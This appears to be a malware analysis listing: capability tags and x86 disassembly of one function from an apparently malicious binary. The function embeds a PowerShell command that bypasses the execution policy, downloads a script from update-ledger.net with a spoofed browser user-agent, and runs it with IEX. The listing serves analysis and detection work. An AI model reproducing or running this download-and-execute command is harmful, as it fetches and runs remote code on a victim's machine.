Function at 0x4fc0e2
Capabilities:
Reference http user-agent string
Resolve function by parsing pe exports
Run powershell expression

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x11c
mov dword [ebp - 0x1c], 2
cmp dword [ebp - 0x1c], 2
je 0x4fc2d4
cmp dword [ebp - 0x1c], 2
ja 0x4fc428
cmp dword [ebp - 0x1c], 0
je 0x4fc11e
cmp dword [ebp - 0x1c], 1
je 0x4fc42e
jmp 0x4fc428
mov eax, dword [ebp + 0x34]
mov esi, dword [eax]
mov eax, dword [ebp + 0x1c]
mov edi, dword [eax]
mov eax, dword [ebp + 0x44]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x40]
mov edx, dword [eax]
mov dword [ebp - 0x30], edx
mov eax, dword [ebp + 0x38]
mov ecx, dword [eax]
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp + 0x4c]
mov ebx, dword [eax]
mov dword [ebp - 0x38], ebx
mov eax, dword [ebp + 0xc]
fld qword [eax]
mov eax, dword [ebp + 8]
fld qword [eax]
mov eax, dword [ebp + 0x1c]
mov edx, dword [eax]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp + 0x10]
fld qword [eax]
fstp qword [ebp - 0x48]
mov eax, dword [ebp + 0x20]
fld qword [eax]
fstp qword [ebp - 0x50]
mov eax, dword [ebp + 0x20]
fld qword [eax]
fstp qword [ebp - 0x58]
mov eax, dword [ebp + 0x20]
fld qword [eax]
mov eax, dword [ebp + 0x28]
mov ecx, dword [eax]
mov dword [ebp - 0x40], ecx
mov eax, dword [ebp + 8]
fld qword [eax]
mov eax, dword [ebp + 0x24]
mov ebx, dword [eax]
mov dword [ebp - 0x5c], ebx
mov eax, dword [ebp + 0x24]
mov edx, dword [eax]
mov dword [ebp - 0x60], edx
mov eax, dword [ebp + 0x34]
mov ecx, dword [eax]
mov dword [ebp - 0x64], ecx
mov eax, dword [ebp + 0x18]
mov ebx, dword [eax]
mov dword [ebp - 0x68], ebx
mov eax, dword [ebp + 8]
fld qword [eax]
mov eax, dword [ebp + 0x3c]
mov edx, dword [eax]
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
mov dword [ebp - 0x70], ecx
mov eax, dword [ebp + 0x18]
mov ebx, dword [eax]
mov dword [ebp - 0x74], ebx
mov eax, dword [ebp + 0x44]
mov edx, dword [eax]
mov dword [ebp - 0x78], edx
mov eax, dword [ebp + 8]
fld qword [eax]
mov eax, dword [ebp + 0x44]
mov ebx, dword [eax]
mov eax, dword [ebp + 0xc]
fld qword [eax]
mov eax, dword [ebp + 0x30]
mov ecx, dword [eax]
mov eax, dword [ebp + 8]
fld qword [eax]
fxch st(7)
mov eax, dword [ebp + 0x2c]
mov edx, dword [eax]
mov dword [esp + 0xa8], esi
mov dword [esp + 0xa4], edi
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0xa0], eax
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x9c], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x98], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x94], eax
fstp qword [esp + 0x8c]
fxch st(5)
fstp qword [esp + 0x84]
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x80], eax
mov eax, dword [ebp + 0x48]
mov dword [esp + 0x7c], eax
fld qword [ebp - 0x48]
fstp qword [esp + 0x74]
fld qword [ebp - 0x50]
fstp qword [esp + 0x6c]
fld qword [ebp - 0x58]
fstp qword [esp + 0x64]
fxch st(3)
fstp qword [esp + 0x5c]
fxch st(1)
mov eax, dword [ebp - 0x40]
mov dword [esp + 0x58], eax
fstp qword [esp + 0x50]
mov eax, dword [ebp - 0x5c]
mov dword [esp + 0x4c], eax
mov eax, dword [ebp - 0x60]
mov dword [esp + 0x48], eax
mov eax, dword [ebp - 0x64]
mov dword [esp + 0x44], eax
mov eax, dword [ebp - 0x68]
mov dword [esp + 0x40], eax
fstp qword [esp + 0x38]
mov eax, dword [ebp - 0x6c]
mov dword [esp + 0x34], eax
mov dword [esp + 0x30], str._c_powershell__NoP__NonI__ExecutionPolicy_Bypass__Command___Resp__Invoke_WebRequest__Uri_https:__update_ledger.net_update__UseBasicParsing__UserAgent_Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_102.0.0.0_Safari_537.36___Scr___System.Text.Encoding_::UTF8.GetString__Resp.Content___IEX__Scr_
mov eax, dword [ebp - 0x70]
mov dword [esp + 0x2c], eax
mov eax, dword [ebp - 0x74]
mov dword [esp + 0x28], eax
mov eax, dword [ebp - 0x78]
mov dword [esp + 0x24], eax
fstp qword [esp + 0x1c]
mov dword [esp + 0x18], ebx
fstp qword [esp + 0x10]
mov dword [esp + 0xc], ecx
fstp qword [esp + 4]
mov dword [esp], edx
call sym._StrCatW
mov dword [ebp - 0x1c], 1
jmp 0x4fc429
mov eax, dword [ebp + 0x4c]
mov edx, dword [eax]
mov eax, dword [ebp + 0x4c]
mov ebx, dword [eax]
mov eax, dword [ebp + 0x50]
mov esi, dword [eax]
mov eax, dword [ebp + 0x50]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x50]
mov edi, dword [eax]
mov dword [ebp - 0x30], edi
mov eax, dword [ebp + 0x50]
mov ecx, dword [eax]
mov dword [ebp - 0x34], ecx
mov eax, dword [ebp + 0x4c]
mov edi, dword [eax]
mov dword [ebp - 0x38], edi
mov eax, dword [ebp + 0x4c]
mov ecx, dword [eax]
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp + 0x4c]
mov edi, dword [eax]
mov eax, dword [ebp + 0x50]
mov ecx, dword [eax]
fld qword [0x5b98b0]
fstp qword [esp + 0x94]
mov eax, dword [ebp + 0x48]
mov dword [esp + 0x90], eax
mov dword [esp + 0x8c], edx
mov dword [esp + 0x88], 8
mov dword [esp + 0x84], 0
mov dword [esp + 0x80], 1
mov dword [esp + 0x7c], 6
mov dword [esp + 0x78], 7
mov dword [esp + 0x74], 9
mov dword [esp + 0x70], ebx
mov dword [esp + 0x6c], esi
fld qword [0x5b9890]
fstp qword [esp + 0x64]
mov dword [esp + 0x60], 5
fld qword [0x5b9880]
fstp qword [esp + 0x58]
mov eax, dword [ebp - 0x2c]
mov dword [esp + 0x54], eax
fld qword [0x5b9880]
fstp qword [esp + 0x4c]
fld qword [0x5b98b0]
fstp qword [esp + 0x44]
mov eax, dword [ebp - 0x30]
mov dword [esp + 0x40], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 0x3c], eax
mov eax, dword [ebp - 0x38]
mov dword [esp + 0x38], eax
fld qword [0x5b98b0]
fstp qword [esp + 0x30]
mov dword [esp + 0x2c], 6
mov eax, dword [ebp - 0x3c]
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x20], 4
mov dword [esp + 0x1c], 0x400
mov dword [esp + 0x18], 1
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], 0
fld qword [0x5b9898]
fstp qword [esp + 4]
mov dword [esp], ecx
call sym._ClearMemory
mov dword [ebp - 0x1c], 0
jmp 0x4fc429
nop
jmp 0x4fc0f5
nop
add esp, 0x11c
pop ebx
pop esi
pop edi
pop ebp
ret